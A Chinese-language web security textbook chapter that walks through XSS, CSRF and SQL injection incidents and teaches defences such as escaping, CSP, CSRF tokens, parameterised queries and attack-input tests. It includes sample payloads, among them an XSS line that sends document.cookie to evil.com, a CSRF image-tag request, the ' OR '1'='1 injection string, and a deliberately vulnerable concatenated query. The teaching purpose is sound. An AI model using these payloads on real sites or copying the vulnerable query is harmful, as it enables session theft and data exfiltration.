跳到主要内容

第 19 章 Web 安全

副题:攻击链——攻击者利用的是业务逻辑的漏洞,不是"黑客魔法"

第 17 章交易系统上线,业务开始收钱;第 18 章测试体系立起来,改动有了保障。但测试只能确认"我们以为对的是对的"——**如果攻击者看到的东西和我们看到的不一样呢?**商业化引来了攻击者:XSS 偷 Cookie、CSRF 替用户下单、SQL 注入拖库。第 13 章说过"信任模型必须从第一行代码就假设对方不怀好意"——本章兑现这句话:看懂攻击,然后断掉攻击链

第四部分地图(继续):16 性能管"快"、17 交易管"对"、18 测试管"稳"、本章(19)管"防"——把"对"和"稳"守住:攻击者看到的东西,不能和我们看到的不一样(第 20 章质量管"久",第四部分收官)。

本章要建立的认知

  1. 攻击是链,不是魔法:攻击面 → 注入点 → payload → 后果——每一类攻击都是一条链,防御就是断链;
  2. 三类最常见的攻击(XSS/CSRF/SQL 注入)都利用业务逻辑的漏洞:不转义、不校验、拼字符串——修复它们是"默认安全"的日常;
  3. 安全是持续过程不是一次性修复:攻击手段永远在进化,安全审查、安全测试、漏洞响应是常态工作。

19.1 商业化引来攻击者

阶段 3 的第二个月,三起攻击事故接踵而至。

**事故一:老周的账号被盗了。**老周收到一条私信,点开——是一段"精彩内容"的链接。点进去,页面正常加载,但老周的登录态已经被偷走了:攻击者在评论区发了一条带脚本的内容(老周点开的是这条内容的详情页),脚本在浏览器里执行,读走了 Cookie 里的 session_id(第 13 章的凭证),发到了攻击者的服务器。攻击者拿着 session_id 登录了老周的账号——第 13 章说过"凭证会被偷,XSS 是偷的方式之一",现在它真的发生了。

**事故二:小明被"替"下了一单。**小明在论坛看到一个帖子:"相机 9 成新 500 元!"他点开帖子,什么都没买,但十分钟后收到扣款短信——他浏览攻击者的页面时,页面悄悄向案例网站发了一个下单请求POST /v1/orders),浏览器自动带上了小明的 Cookie(第 13 章:Cookie 是自动携带的),服务端验凭证通过——攻击者没偷密码,他借了小明的身份

事故三:内容库被拖了。攻击者在搜索框输入了一段特殊字符(' OR '1'='1),列表接口返回了全部内容——包括未发布的内容和用户表数据。原因是:搜索功能的 SQL 是字符串拼接的,攻击者输入的引号"闭合"了 SQL,把"查询"变成了"查询一切"。

三起事故,三个共同点第一,都不是"黑客魔法"——XSS 是利用"页面不转义用户输入"、CSRF 是利用"Cookie 自动携带"、注入是利用"SQL 字符串拼接"——全是业务代码的漏洞第二,都是商业化之后才发生的——内容社区时期攻击者没兴趣(偷个账号没价值),交易上线后账号=钱、订单=钱——攻击者跟着钱走(第 17 章说过"交易系统是攻击者最喜欢的地方",现在看到了实景);第三,防御不是"多加几道锁"——是把这三条攻击链看懂,然后断掉

三起事故还有一个共同点要单独说(它和第 18 章的测试观呼应):三起事故在测试里都"测不出来"——功能测试给正常输入断言正常输出,三起事故都是"恶意输入+异常输出"——第 18 章说过"安全测试是测法不同",这就是原因:功能测试的问法是"输入 X 输出 Y 吗",安全测试的问法是"输入 X 会不会输出不该输出的"——测试观从"确认对的"到"确认不泄露",是安全章给测试体系的补充。

三起事故的发现过程也交代一下(它是第 13 章"发现时刻"伏笔的兑现):第 13 章说过"安全漏洞的生命周期是开洞→被发现,不是开洞→被修复——本章事故是'自己人先发现'的幸运版本,第 19 章会看到'敌人先发现'的版本"——现在敌人先发现了:事故一(XSS)是老周自己报告"账号好像被盗了";事故二(CSRF)是小明收到扣款短信才发现;事故三(注入)是攻击者拖库后主动联系勒索才暴露("给我钱,不然公布数据")——三个发现路径,没有一个来自我们的监控——安全的一个残酷现实:你发现漏洞的路径,通常不是攻击者的路径(攻击者悄悄地来,你最后才知道)。

三起事故的处置(第 18 章"事故处置三动作"的安全版):止血(XSS 先下线评论渲染、CSRF 先给下单接口加 Token、注入先停搜索——每一条链先断一环)→ 修复(转义/Token/参数化全部到位)→ 补测试(恶意输入测试进测试体系,19.7)——处置顺序和第 18 章完全一样:先恢复,再根治,最后让事故变成测试——安全事故和功能事故的处置,是同一套流程(第 24 章会看到它变成正式的应急流程)。

修复的"全链路检查"(它防止"修一处漏三处"):XSS 的修复不是"改评论区"——所有用户输入的输出点都要查(评论区/私信/昵称/商品描述——第 19.2 的攻击面清单):攻击者会换一个输出点再来——修复安全漏洞的纪律:按攻击面修,不按事故现场修(事故在哪发现,攻击面在哪排查——第 19.6 的按层表就是排查路径)。

19.2 攻击链:攻击者的思维方式

三起事故背后的思维方式是同一个:攻击者不把系统当"功能"看,他把它当"输入输出"看——每个输入点都是一个机会,每个输出点都是一个通道。把这种思维结构化,就是攻击链

攻击面 → 注入点 → payload → 后果
(哪里能输入) (怎么把恶意内容送进去) (送什么) (拿到什么)

用攻击链把三起事故拆开:

事故攻击面注入点payload后果
XSS 偷 Cookie评论/内容输入框内容不转义直接渲染<script>fetch(偷Cookie)</script>拿到老周的 session_id
CSRF 替下单任何能放链接的页面下单接口只认 Cookie 不认来源自动发出的 POST 请求替小明下单
SQL 注入拖库搜索/筛选参数SQL 字符串拼接' OR '1'='1拖走整个内容库

攻击链的价值:它告诉你防御在哪一环下手——每一环都可以断:攻击面收窄(输入校验)、注入点堵住(转义/参数化)、payload 失效(CSP 让脚本不执行)、后果兜底(最小权限)。防御不是"挡住攻击者"这种模糊目标,是"断掉链上的某一环"这种具体动作——本章的三类防御,每一类都是断链;而断链的"哪一环"也决定了防御的形态:堵注入点的防御是代码层的(转义/参数化),失效 payload 的防御是平台层的(CSP/浏览器默认),兜底的防御是配置层的(最小权限)——三类形态,第 20 章会看到它们怎么进入代码质量体系。

攻击者的画像也补一笔(它决定防御的形态):攻击者不是电影里的天才黑客,是批量作业的生意人——用自动化工具扫所有网站(撞库、扫接口、批量注入),你的系统不是被"针对",是被"扫到"——这个认知有两层含义:第一,防御要防"扫描能发现的东西"(参数化/转义/Token 都是"扫不到"的);第二,攻击是概率事件(被扫到的概率 × 漏洞存在的概率 × 漏洞的价值)——交易数据价值高,所以被扫到就认真打——攻击者的成本低到可以批量,我们的防御必须机制化(人肉防御防不住批量)。

安全领域的参考清单也一句带过(它是安全讨论的共同语言):OWASP Top 10(开放 Web 应用安全项目每几年发布的最常见漏洞清单——XSS/注入都在榜上)——本章讲的是 Top 10 里最常遇到的三个,剩下的(不安全的反序列化、日志泄露等)原理相同:都是"业务逻辑的漏洞"——清单会更新,攻击链的模型不变。

还有一个"攻击者视角"的认知要先立住(它是安全章的底色):攻击者的成本很低,我们的防御成本很高——攻击者只需要找到一个漏洞,我们要防住所有漏洞——所以防御不能靠"仔细",要靠机制(第 17 章交易系统说过同一句话:仔细不是解决方案,机制才是——安全是同一个逻辑的另一种应用)。

攻击面的清单(它是"收窄攻击面"的操作化,第 19.6 审查表的输入):输入点(表单/参数/上传/搜索框)、输出点(页面渲染/接口返回/日志)、身份点(登录/注册/密码重置)、集成点(支付回调/第三方登录)——每新增一个输入点,攻击面就大一圈——新功能评审时问"这个新输入点有没有对应的防御",就是第 4 章"复杂度预算"在安全上的版本:功能在长,攻击面也在长,防御要跟着长

事故一的完整攻击链(图 19-1):

攻击面:评论区(谁都能发内容)
↓ 注入点:内容不转义直接渲染(第 8 章的 innerHTML/框架的 v-html 一类)
payload:<script>new Image().src='https://evil.com/'+document.cookie</script>
↓ 后果:老周的 session_id 被发到攻击者服务器 → 凭证被盗
图19-1 图稿占位
XSS 攻击链
注入→执行→偷数据,防御断在哪

XSS(Cross-Site Scripting,跨站脚本)的本质:用户的输入被当成了代码执行——攻击者输入的 <script> 标签,浏览器没有把它当文本渲染,而是当程序执行了。XSS 的两个前提:① 输入没被转义(< > 应该变成 &lt; &gt; 显示为文本,而不是被解析成标签);② 输出的位置在可执行上下文中(HTML 里会被解析,文本节点里不会)。

XSS 的三种形态(一句话定位,防御相同):存储型——payload 存在服务器(评论区,事故一就是);反射型——payload 在 URL 参数里,页面把它反射出来(?keyword=<script>);DOM 型——payload 不经过服务器,纯前端处理(不经过服务器的坑:前端代码里拼接 HTML 的地方)——三种形态的防御都一样(转义+CSP),区分它们是为了知道"注入点在哪"(存储型在服务端输出、反射型在 URL 处理、DOM 型在前端代码)。

XSS 的后果分级(它决定防御的优先级):偷 Cookie(凭证——登录态被接管,最常见也最直接);偷页面内容(表单里输入的密码、私信内容);替用户操作(在用户会话里发帖/下单——和 CSRF 殊途同归)。XSS 是"在用户的浏览器里跑你的代码"——用户看到的是正常页面,攻击者看到的是用户的全部权限。

防御(断链的两环)

  • 注入点环节:转义——所有用户输入渲染成文本时转义(<&lt;),让输入永远只是"数据"不是"代码"。前端框架(第 9 章)默认转义(React/Vue 的插值默认当文本),逃逸默认转义的写法(v-html/innerHTML)是 XSS 的头号入口——用它们时必须有额外审查(白名单过滤)——"默认转义"是框架给的第一道防线,别自己拆了它(第 9 章说框架"内建常见问题的答案"——转义就是它内建的答案之一,安全版);
  • payload 环节:CSP(Content Security Policy)——一个响应头声明"页面只能加载自己域名的脚本"(Content-Security-Policy: default-src 'self'):即使攻击者的脚本被插进了页面,浏览器也会拒绝执行(来源不在白名单里)——CSP 是"第二道门":转义漏了,CSP 兜住——纵深防御(第 17 章说过)在安全章的形态:两道门,漏一道还有一道

转义的细节("转义"两个字背后有一个坑):转义是上下文相关的——HTML 里的转义(<&lt;)和 JS 里的转义(引号/反斜杠)不是同一套——"在哪里输出,就用哪里的转义规则"——框架的默认转义管 HTML 上下文;把用户输入拼进 <script> 或事件属性(onclick="...")时,框架的默认转义管不到,这是逃逸点审查的重点

第 13 章的伏笔在这里兑现:第 13 章说过"Cookie 里的凭证是盗号攻击的目标,所以登录态别留太长"——XSS 事故后,案例还加了一条:HttpOnly Cookie(浏览器 JS 读不到 Cookie——document.cookie 返回空)——XSS 偷 Cookie 的前提是 JS 能读到 Cookie,HttpOnly 把这条路堵死(XSS 还能偷别的,但最值钱的凭证偷不到了)。

"偷不到凭证"之后 XSS 还能干什么(它说明 HttpOnly 不是终点,是降低损失):偷页面内容(输入框里的密码/私信)、偷表单数据、在用户会话里操作(替用户发帖/下单——和第 19.4 的 CSRF 殊途同归)——HttpOnly 防的是"凭证被偷",XSS 的"替用户操作"要靠授权检查(第 13 章)和 Token(19.4)兜底——防御是叠的(第 17 章说过防线是叠起来的,安全章又验证一次)。

漏洞的"生命周期"在商业系统里的完整形态也补一笔(它把事故变成流程):发现(敌人/用户/监控)→ 评估(影响面:哪些用户/哪些数据)→ 修复(断链)→ 通知(受影响用户——老周的账号被盗要告知并重置凭证)→ 复盘(为什么会漏——防御链哪一环没断)——安全事件的处理是流程不是英雄主义(第 24 章应急响应的雏形):流程的意义是"下次同类事件,不用重新发明处置办法"。

19.4 CSRF:借用户的手

事故二的完整攻击链(图 19-2):

攻击面:攻击者页面(论坛帖子/邮件/任何能诱导点击的地方)
↓ 注入点:浏览器自动携带 Cookie(第 13 章)——请求"看起来"来自小明
payload:<img src="https://api.案例.com/v1/orders?...">(图片标签自动发起 GET)
或自动提交的隐藏表单(POST)
↓ 后果:替小明下单(借小明的身份,不需要小明的密码)
图19-2 图稿占位
CSRF 攻击链
借用户身份发请求

CSRF(Cross-Site Request Forgery,跨站请求伪造)的本质:攻击者借了用户的浏览器——请求确实是用户浏览器发的(带着用户的 Cookie),只是"发起者"是攻击者的页面。CSRF 的两个前提:① 浏览器自动携带 Cookie(第 13 章说过的"Cookie 是自动携带的",这里它成了弱点);② 服务端无法区分"这个请求是小明在自己页面点的"和"这个请求是小明在攻击者页面被诱导发的"。

CSRF 的"已登录"前提(它决定攻击者的目标选择):CSRF 要借 Cookie,只有已登录用户的浏览器才带着有效凭证——所以攻击者瞄准的是"登录状态的用户",诱导他们访问攻击页面——这也是为什么登录态越久(第 13 章的 7 天滑动过期),CSRF 的窗口越大——登录态长短的权衡(体验 vs 安全),在 CSRF 这里又多了一个砝码。

第 10 章的伏笔在这里兑现:第 10 章说过"GET 不产生副作用是 Web 安全的地基之一"——CSRF 能得手,一半是因为用 GET 干了改数据的活GET /v1/orders?buy=1 这种——图片标签自动发 GET,不需要任何用户交互);严格的方法语义(GET 只读、POST 才改)是第一道防御:改了数据的接口必须 POST,POST 无法被图片标签触发,攻击面直接砍掉一半。第 10 章讲方法语义时说的"安全审计时少一半麻烦",这里就是兑现

防御(断链的两环)

  • 注入点环节:同源校验——服务端检查请求的 Origin/Referer 头:不是本站页面发起的请求,拒绝——"这个请求是不是来自我们自己的页面"
  • payload 环节:CSRF Token——服务端在页面里埋一个一次性随机 token(第 13 章随机数的思路),表单提交时带上;攻击者的页面读不到本站的 token(跨域读不到,第 15 章 CORS 的伏笔——CORS 限制了"读",CSRF Token 利用的就是"读不到")——请求里没有正确的 token,服务端拒绝

现代浏览器的默认防线也补一句(第 13 章说过的 SameSite 的兑现):"Cookie 要配 SameSite"——SameSite=Lax(现代浏览器的默认值)会阻止跨站请求携带 Cookie:攻击者页面的请求不再自动带本站 Cookie,CSRF 的"借身份"前提直接消失——SameSite 是浏览器替我们做的一道默认防线(默认安全原则——19.6——在浏览器侧的形态)——老系统的 CSRF 问题(1990 年代设计时没有)现在被浏览器默认值挡住了大半,但 Token 校验仍然是必做的(SameSite 是浏览器的默认,不是服务的承诺——老浏览器、特殊场景还会漏)。

第 15 章的 CORS 伏笔也在这里收尾:第 15 章说"CORS 是浏览器安全模型在旅程之外的一站(第 19 章会看到它的全貌)"——全貌是:CORS 管的是"能不能读响应",CSRF 管的是"请求会不会被发出"——CORS 配错了会放大攻击面(跨域能读响应=跨域能拿数据),CSRF Token 防的是"请求被伪造"——一个管读,一个管写,两个都是浏览器安全模型的部件

登录接口的防暴力破解也收一句(第 13 章的枚举伏笔完整版):"账号不存在和密码错误返回同一个错误"是它的第一层;第二层是限流(第 16 章说过的限流中间件:登录接口每秒最多 N 次——撞库工具每秒试几百个密码,限流让它每秒只能试几个)——限流在安全章的形态:给暴力破解设上限(第 24 章高可用会看到它的容量形态,这里是它的安全形态)。

19.5 SQL 注入:拼接的代价

事故三的完整攻击链(图 19-3):

攻击面:搜索框/筛选参数(任何进 SQL 的用户输入)
↓ 注入点:SQL 字符串拼接
payload:' OR '1'='1(闭合引号,让 WHERE 恒真)
↓ 后果:查询条件失效 → 拖走整个表
图19-3 图稿占位
SQL 注入
拼接 SQL 与参数化对比

SQL 注入的本质:用户的输入被当成了 SQL 的一部分——和 XSS 是同一个病(输入被当成代码执行),只是执行环境从"浏览器"换成了"数据库"。

// 错误:字符串拼接(第 12 章数据访问层的写法,如果这么写就是事故三)
db.query(`SELECT * FROM content WHERE title LIKE '%${keyword}%'`);
// 攻击者输入:' OR '1'='1 → 变成:
// SELECT * FROM content WHERE title LIKE '%' OR '1'='1%' → 恒真 → 返回所有行

// 正确:参数化查询(输入永远只是数据,不是 SQL 的一部分)
db.query('SELECT * FROM content WHERE title LIKE ?', [`%${keyword}%`]);

参数化查询的原理:SQL 模板和参数分开传——数据库先编译模板(? 是占位符,不是内容),再把参数当数据填入——攻击者的引号永远只是字符串里的引号,永远不会变成 SQL 语法。第 12 章说"数据访问层看查询注入(第 19 章主角)"——主角就是这一行:所有 SQL 都必须参数化,这是数据访问层的铁律(ORM 默认参数化,第 12 章说过的 ORM 红利;手写 SQL 的地方是注入的高发区)。

参数化的两个"看起来像但不够"的写法(新手最容易踩):转义后再拼接(把引号转义了再拼进 SQL——转义规则总有漏网,参数化是"根本不拼");存储过程拼接(把参数拼进存储过程内部的 SQL——一样是拼)——判断标准一句话:输入有没有经过"编译"这一步——经过了(占位符)就是安全的,没经过(拼接)就是注入的入口——"永远不拼"比"仔细地拼"安全一个量级(第 5 章决策模型:选"不拼"这个方案,不选"拼得更小心"——默认安全在数据访问层的形态)。

注入的家族(SQL 注入是最大的一支,同族的还有):命令注入(输入进系统命令)、模板注入(输入进模板引擎)——同一个病的不同部位:输入被当成代码——防御也是同一个药:参数化/转义,永远不要把输入拼进"会被执行的东西"

注入的发现(怎么知道被注入了,第 25 章衔接):日志里的异常 SQL(第 14 章开的慢查询日志——注入 payload 的查询特征明显:恒真的 WHERE、奇怪的引号);报错信息(19.6 会讲:错误细节漏进响应=免费的数据库地图);数据异常(拖库的后果是数据量/权限异常)——发现注入要靠日志和监控(第 25 章:攻击者的动作会留下痕迹,可观测性是安全的第二道防线——第一道是防御机制)。

审计(安全投入清单里的"看得到"项):安全事件要有日志(谁、什么时候、做了什么——登录失败/权限变更/支付操作:第 7 章 request_id 的家族);日志要留得住(攻击者清理日志是常见手法——日志要写到攻击者删不到的地方,第 25 章可观测性会展开日志体系)——审计是安全的"事后诸葛亮":防线被突破了,审计告诉你"怎么被突破的、影响多大"——没有审计的安全,是不知道有没有被攻击的安全(第 19.1 的三个发现路径,审计就是第四个:主动发现)。

最小权限(后果环节的兜底):数据库账号只给需要的权限——应用账号没有 DROP/没有别的库的读权限:即使注入发生了,拖走的也只是这一个库的一小部分——最小权限是"后果"环节的断链:防不住注入,就限制注入的伤害半径(第 14 章说过的"数据库账号"在这里是安全配置)。

第 13 章的枚举伏笔也在本章展开(它是"输入校验"的另一个形态):"账号不存在和密码错误返回同一个错误"(第 13 章说过)是输入枚举的防御;同类还有:越权枚举(遍历 id 拿别人的数据——/v1/orders/1/v1/orders/2…——第 13 章的业务层授权检查在这里是主角:资源级权限(谁能看这条订单)和接口级权限(谁能调这个接口)是两件事,漏了前者,遍历就是拖库)。

越权枚举的防御细节(第 13 章授权检查的安全版收尾:"谁能看"是业务层的事):资源级权限检查在业务层——getOrder(userId, orderId) 先查订单属于谁,不是本人就 403(第 13 章的 403 语义在这里是安全防线);"看不到"和"不允许"的边界(返回 404 还是 403?——订单不存在 vs 无权查看:返回 404 更安全(不泄露"这个订单存在"),返回 403 更清晰——安全与体验的权衡在状态码上也有一次(第 7 章的状态码语义,第 19 章的安全视角)。

19.6 默认安全与安全审查按层

三类攻击讲完,把防御收成一条原则和一张检查表。

原则:默认安全(secure by default)——不安全的状态应该是"例外",不是"默认":默认转义(XSS)、默认带 Token(CSRF)、默认参数化(注入)、默认拒绝(权限)——每一项防御都应该是"框架/平台默认开着,我们主动关掉才不安全",而不是"默认没有,我们记得加才安全"——人总会忘,默认值不会。第 12 章说"中间件的排列顺序是代码评审要看的第一行"——顺序错误有时会产生真正的漏洞,现在看两个真实案例(兑现第 12 章的伏笔):

**案例一:错误直接漏给前端。**第 12 章说过"错误处理中间件放错了位置,错误会从它身边溜过去直接漏到响应里"——真实版本:某个接口的异常处理写在了路由之前(顺序错误),数据库报错(带表结构信息)直接进了响应——攻击者用这个接口探测表结构(报错信息是免费的数据库地图)——修法:错误处理中间件必须在管道最后,对外只返回第 7 章的通用错误格式(code/message/request_id),内部细节只进日志(第 25 章)不进响应

案例二:中间件顺序漏洞。第 12 章说过"鉴权放在路由之后,没登录的请求也能进控制器"——真实版本:某个新接口的路由挂在鉴权中间件之前(新增路由时忘了挂),未登录也能调——修法:第 13 章说过的"按需挂不豁免"(新接口默认挂鉴权,公开接口显式豁免)——"默认挂鉴权"是默认安全在中间件上的形态

默认安全还有两个常见形态(配置层的):debug 模式不上生产(调试信息/堆栈是攻击者的地图,第 15 章联调时方便的东西,生产是漏洞);错误详情只进日志(19.6 案例一的延伸:响应给第 7 章通用格式,细节进日志)——"生产环境的默认值"是一份安全清单:默认关的(debug)、默认开的(鉴权/转义/日志)。

安全审查按层(第 12 章的伏笔兑现——它是最实用的检查框架):第 12 章说过"分层的边界就是安全审计的清单",现在展开成逐层检查表:

查什么对应攻击
表现层输入校验(参数有没有被构造)、输出转义注入、XSS
中间件鉴权(谁能进来)、限流(第 16 章)、CORS 配置越权、DDoS、CSRF
业务层授权规则(谁能发/谁能删/谁能看)越权枚举
数据访问层参数化查询(有没有拼接 SQL)SQL 注入

这张表是第 12 章"分层"的第五个用途(代码结构/排障地图/监控地图/团队语言/安全检查表)——分层不只是组织代码,是组织防御:每一层的漏洞,在这一层的检查表里有它的位置。

审查的节奏(把表用起来):每次代码评审过一遍(新接口上线前对照表:参数校验了吗/挂鉴权了吗/授权查了吗/参数化了吗——四问,第 18 章说"测试是评审的检查单",安全表是评审的第二张单);每轮迭代做一次安全走查(攻击链四环节过一遍:有没有新的输入点?)——安全审查不是安全专家的专属工作,是评审流程的一部分(第 20 章的评审,默认带安全表)。

**审查清单还要加一行:依赖审计。**攻击面不只在你的代码里——第三方库也是攻击面:上游库被投毒(供应链攻击),下游所有引用它的系统一起中招。所以依赖清单要审:来源可不可信、版本跟不跟得上(停更的库是持续暴露的洞)、有没有已知漏洞(常见做法:CI 里跑依赖漏洞扫描,第 22 章流水线)。依赖是代码的"外债"(第 20 章会展开)——债要审,利息要盯

19.7 攻击视角的测试

第 18 章说过边界:"安全测试是安全章的内容——测法不同(不是给正常输入断言输出,是给恶意输入断言'被挡住')"——现在兑现。安全测试的两种形态

恶意输入测试(自动化,进测试体系):把攻击 payload 当测试输入,断言"被挡住"——和第 18 章的金字塔同构:单元层测转义函数/参数化封装,集成层测"恶意请求返回 400 而不是数据"(19.7 的代码);它进金字塔的哪层?——恶意输入测试大部分在集成层(要真实接口+数据库配合),转义函数/参数化封装在单元层——和第 18 章的承诺映射同构:安全承诺("恶意输入被挡住")对应安全测试

安全测试的输入库("测什么恶意输入"的清单,从三类攻击长出来):XSS payload<script><img onerror>、事件属性);注入 payload(引号/恒真式/注释符);越权 id(遍历 1/2/3…,第 13 章的枚举);超长输入(边界值,第 4 章的验收标准反向用);特殊字符(编码绕过:%22、Unicode)——每个输入点(第 19.2 的攻击面)配一套 payload 库——安全测试的"用例"和功能测试一样,是承诺的测试。

// 集成测试:恶意输入断言"被挡住"(第 18 章边界兑现)
it('XSS payload 不执行', async () => {
const res = await api.get('/v1/contents/10');
expect(res.data.body).not.toContain('<script>'); // 转义后是 &lt;script&gt;
});
it('SQL 注入 payload 返回空而不是全部数据', async () => {
const res = await api.get('/v1/contents?keyword=' + encodeURIComponent("' OR '1'='1"));
expect(res.data.items.length).toBe(0); // 参数化后它只是普通搜索词
});

渗透测试(人工/半自动,周期性):模拟攻击者真的去打——用攻击链的四个环节过一遍系统(攻击面有没有新的输入点?注入点有没有漏网的拼接?)——自动化测试防"已知的漏洞复发",渗透测试找"未知的漏洞存在"——两者的分工是同一个结构:自动化管已知,手动管未知。

渗透测试的"思路"也交代两句(它不是玄学,是攻击链的手工版):信息收集(系统有哪些入口——公开接口/后台/第三方集成);逐点试探(对每个输入点试 payload 库——第 19.7 的输入库);深入利用(找到可疑点,试把它变成真正的攻击)——渗透测试是"攻击链模型"的演练:防御方用攻击链来断链,测试方用攻击链来找链——同一个模型,两个方向(第 19.2 说过的"攻击者的思维方式",测试时自己当一次攻击者)。

安全测试的时机(它是持续过程的一部分):每次上线前跑恶意输入测试(进 CI,第 22 章);每个季度做一次渗透测试(找新漏洞);每次安全事件后补测试(事故=漏掉的防御承诺,和第 18 章"事故=漏掉的测试承诺"同构)——安全测试和功能测试一样,是承诺的测试("用户数据不能被偷"是承诺,第 18 章说过)。

安全测试的"测不到"要诚实交代(它是边界不是缺陷):自动化测试只能覆盖"已知的攻击形态"——新攻击形态(明天出现的新型绕过)测不到,这是渗透测试和持续关注(安全公告/社区)存在的理由——安全测试的盲区,靠"持续过程"(19.8)来补:不是测一次就完,是跟着攻击形态进化。

19.8 安全投入的决策:体验 vs 安全

安全的代价要说清楚(它是安全章必须诚实的一部分):每道防御都有成本——验证码(防自动化攻击,代价是用户体验:多一步输入);HttpOnly/转义(代价极小);Token 校验(代价小);审计日志(存储成本)——"全部防御都上"不是答案,防御也有预算(第 4 章复杂度预算的又一处应用)。走一遍九步(第 5 章模型的第 12 次应用):

① 业务目标:用户数据和资金安全(第 4 章"数据不能丢"的安全版);② 业务约束:阶段 3 交易刚上线、攻击者开始出现、用户体验是增长的关键(第 16 章刚把速度做回来,不能因安全把体验做回去);③ 技术问题:安全投入怎么分配(哪些防御必做,哪些可以后置)?④ 候选:A 全上(验证码/双因素/加密/审计全做);B 机制必做+体验后置(转义/参数化/Token/HttpOnly 必做,验证码等体验成本高的后置);C 只做出事的地方(被动响应);⑤ 评价维度:风险(漏洞的后果)、成本(实现+维护+体验)、时机(攻击者当前的真实威胁);⑥ 打分:A 的验证码/双因素在阶段 3 代价大于收益(用户增长期,每一步额外输入都是流失);C 被动响应在交易场景不可接受(出事就是钱);B 三围均衡——机制类防御(转义/参数化/Token/HttpOnly/最小权限)零体验成本,必做;体验类防御(验证码/双因素)等攻击者真来了再上(演进条件:撞库/批量攻击信号出现);⑦ 选择:B;⑧ 收益:机制防线全部到位(三起事故的链都断了),体验零损伤;⑨ 代价与演进:体验类防御后置意味着"窗口期"(攻击者可能在这期间用自动化攻击)——演进条件:自动化攻击信号(异常注册/异常下单频率)出现,立即补验证码/限流——监控(第 25 章)在这里是安全的哨兵。

决策记录又添一行:安全=机制必做+体验后置,演进条件=自动化攻击信号出现。第 12 次填写——从第 12 章的七次到本章的十二次,决策模型的安全版走完。

"窗口期"的管理(它是"体验后置"决策的配套动作,防止后置变成遗忘):体验类防御后置不是"不做",是"挂了监控等信号"——信号清单(撞库特征:同一 IP 大量登录失败;批量注册:同一设备大量新账号;异常下单:高频小金额)——信号出现,触发对应防御(登录限流/注册验证码/下单风控)——后置的防御要有"触发开关":开关的"传感器"就是第 25 章的监控——决策记录里的演进条件,在安全章变成了监控告警的配置项(第 16 章说过的"演进条件写进决策记录",这里是它的可执行形态)。

体验类防御的形态也交代两句(它们是"后置"的具体对象):验证码(图形/滑块——让自动化工具撞库/批量注册失效,代价是用户多一步输入——演进条件触发时先给高风险操作(登录/下单)加,不是全站加);双因素认证(密码+验证码/短信——账号被盗的第二道锁,第 13 章密码哈希之后的一层——代价是登录流程变长,先给"能改支付信息"的高权限操作加)——体验类防御的排序:按风险(操作能造成多大损失)排,不按热门程度排(第 4 章需求排序的同一逻辑)。

密钥管理的回顾(第 13 章"密钥是命门"的兑现——"JWT 的密钥泄露=所有凭证都能伪造"):生产环境的密钥管理:密钥不写进代码/仓库(环境变量或密钥服务,第 23 章配置管理会展开);密钥定期轮换(泄露的损失有时间上限);不同的环境用不同的密钥(测试密钥泄露不影响生产)——密钥是安全链上最值钱的一环,也是最常被随手放的一环

安全是持续过程(第 11 章伏笔兑现):第 11 章说过"安全手段的部署永远落后于攻击手段"——这是规律不是悲观:攻击者在进化,防御也要跟着进化——常态是:安全审查(19.6 的按层表)每次评审都过一遍 → 安全测试(19.7)每次上线跑一遍 → 新攻击形态出现时补防御——安全不是"做完的一次性修复",是和测试一样的日常(第 18 章的承诺体系,安全是其中一份承诺)。

攻击者视角的最后一课(它把本章收束回第 13 章):信任模型那句话("假设对方不怀好意")在这里收束——本章的三条链证明:不怀好意的假设不是多疑,是事实——攻击者批量地扫、自动地打、安静地来——"假设对方不怀好意"不是心态,是设计原则:默认安全、最小权限、审查按层——设计上假设攻击者存在,攻击者来了才不会慌。

19.9 本章对应表

业务诉求技术选择为什么代价/取舍
账号不被偷(XSS)转义 + CSP + HttpOnly输入不当代码执行,断链两环+凭证不可读CSP 配置有学习成本
不被替下单(CSRF)方法语义 + Token/同源校验请求"看起来"是本人,校验"来自本站"Token 要维护(会话相关)
数据库不被拖(SQL 注入)参数化查询(铁律)输入永远只是数据,不是 SQL 的一部分ORM 默认做了,手写 SQL 要自查
漏洞要系统性地找安全审查按层(19.6 检查表)分层=组织防御,每层漏洞有位置评审要多看一张表
防御不能被绕过默认安全(默认转义/Token/参数化/拒绝)人总会忘,默认值不会框架配置要按"默认开"设
恶意输入要挡住攻击视角测试(恶意输入断言)第 18 章边界兑现:断言"被挡住"渗透测试周期性投入
安全投入多少九步决策(机制必做+体验后置)体验 vs 安全的权衡(第 12 次应用)体验类防御后置有窗口期

每一行都在本章正文里有完整论证:三起事故在 19.1,攻击链在 19.2,XSS 在 19.3,CSRF 在 19.4,注入在 19.5,审查按层在 19.6,安全测试在 19.7,投入决策在 19.8。先看"业务诉求"列——这一章的每一行,都是从三起攻击事故里长出来的

本章小结

安全速查(第四部分回指本章时翻回这里):

  1. 攻击是链:攻击面 → 注入点 → payload → 后果——防御就是断链(每类攻击同一模型);
  2. XSS:输入被当代码执行(转义 + CSP + HttpOnly——第 13 章凭证被盗的防线);
  3. CSRF:借用户的浏览器(方法语义 + Token/同源 + SameSite——第 10 章 GET 只读的兑现);
  4. SQL 注入:输入被当 SQL(参数化查询是数据访问层铁律——第 12 章"查询注入主角");
  5. 默认安全:默认转义/参数化/拒绝——人总会忘,默认值不会;
  6. 安全审查按层:表现层输入/中间件鉴权/业务层授权/数据访问层注入(第 12 章分层第五用途);
  7. 安全测试:恶意输入断言"被挡住"+渗透测试(第 18 章边界兑现);
  8. 投入决策:机制必做+体验后置(九步第 12 次应用,窗口期挂监控等信号);安全是持续过程(第 11 章"部署永远落后")。 (八条速查对应本章结构:1 是思维(攻击链),2-4 是三类攻击与防御,5-6 是原则与检查表,7-8 是测试与投入。)

安全章与前面章节的收束:本章是全书"安全线"的汇合点——第 10 章(证书/方法语义)、第 11 章(DNS 攻击/DDoS)、第 13 章(凭证/信任模型)、第 16 章(限流/缓存)、第 18 章(安全测试)——每章埋的安全伏笔,本章全部收齐:第 13 章说"安全章再立防线",现在防线立起来了。

第四部分进度:16 性能 ✅ 17 交易 ✅ 18 测试 ✅ 19 安全 ✅——还剩 20 质量——第四部分的"快、对、稳、防"都到位了,最后一章回答"团队怎么守住这一切"(阶段 4:团队变大,协作变难)。


  • 攻击是链,不是魔法:攻击面 → 注入点 → payload → 后果——看懂链,才能断链;
  • 三类攻击(XSS/CSRF/注入)都利用业务逻辑的漏洞——防御是"默认安全"的日常;
  • 安全审查按层、安全测试进体系、投入走九步——安全是持续过程,和测试一样是承诺的日常;
  • 商业化引来攻击者,也逼出了安全机制——第 4 章"数据不能丢"的承诺,本章给出了安全版答案

下一章

